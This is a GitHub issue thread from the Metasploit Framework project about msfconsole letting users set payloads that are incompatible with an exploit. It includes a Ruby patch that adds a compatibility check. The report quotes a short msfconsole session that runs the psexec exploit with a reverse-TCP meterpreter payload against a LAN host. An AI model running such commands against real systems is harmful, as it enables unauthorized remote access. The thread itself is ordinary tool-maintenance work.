Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Metasploit console allows incompatible payloads to be set and used #5404

Closed
hdm opened this issue May 21, 2015 · 8 comments · Fixed by #5427
Closed

Metasploit console allows incompatible payloads to be set and used #5404

hdm opened this issue May 21, 2015 · 8 comments · Fixed by #5427
Assignees

Comments

@hdm
Copy link
Contributor

hdm commented May 21, 2015

This example demonstrates how stageless meterpreter is accepted for psexec even though it is not compatible due to the payload space requirements.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter_reverse_tcp
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.0.6:445|WORKGROUP as user 'developer'...
[*] Uploading payload...

The show payloads command makes it clear that this payload is not valid. This should have been caught both in the set command handler and the exploit command.

@OJ OJ self-assigned this May 22, 2015
@OJ
Copy link
Contributor

OJ commented May 22, 2015

I'll take this given that it's stageless related.

@jlee-r7
Copy link
Contributor

jlee-r7 commented May 22, 2015

set has never complained about an incompatible payload

@hdm
Copy link
Contributor Author

hdm commented May 22, 2015

@jlee-r7 It has complained about unknown payloads, so seems strange that it wouldn't complain about an incompatible one.

@wchen-r7
Copy link
Contributor

I got a patch for you:

diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb
index 922d3c3..6a3d81e 100644
--- a/lib/msf/ui/console/driver.rb
+++ b/lib/msf/ui/console/driver.rb
@@ -571,6 +571,8 @@ class Driver < Msf::Ui::Driver

         if (framework and framework.payloads.valid?(val) == false)
           return false
+        elsif active_module.type == 'exploit' && !is_payload_compatible?(active_module, val)
+          return false
         elsif (active_module)
           active_module.datastore.clear_non_user_defined
         elsif (framework)
@@ -589,6 +591,14 @@ class Driver < Msf::Ui::Driver
     end
   end

+  def is_payload_compatible?(m, payload_name)
+    m.compatible_payloads.each do |k|
+      return true if k[0] == payload_name
+    end
+
+    false
+  end
+
   #
   # Called when a variable is unset.  If this routine returns false it is an
   # indication that the variable should not be allowed to be unset.

I may submit a PR later.

@OJ
Copy link
Contributor

OJ commented May 27, 2015

Thanks @wchen-r7 :)

@OJ OJ assigned wchen-r7 and unassigned OJ May 27, 2015
wchen-r7 added a commit to wchen-r7/metasploit-framework that referenced this issue May 27, 2015
Resolve rapid7#5404. This patch will check payload compatibility when
you are using set payload in msfconsole.
@Meatballs1
Copy link
Contributor

I was told that you could always override the compatible payloads by just typing it in manually. It wouldn't auto complete or be shown in the list of compatible payloads.

I think this currently breaks payload_inject with x64 payloads

@hdm
Copy link
Contributor Author

hdm commented Aug 24, 2015

@Meatballs1 Setting an incompatible payload would break most exploits (limited by size or characters). For non-exploit scenarios, the solution is to make the module accept the payload, not to allow any payload to be set.

@bcook-r7
Copy link
Contributor

There is a bit of a corner case when checking for size.

When you are setting the payload, we currently check for payloads that are compatible with the default parameters. The actual parameters one sets can also affect size. Thus, there are payloads that are incompatible by default, but can be modified after they are set into being compatible, and vice-versa.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging a pull request may close this issue.

6 participants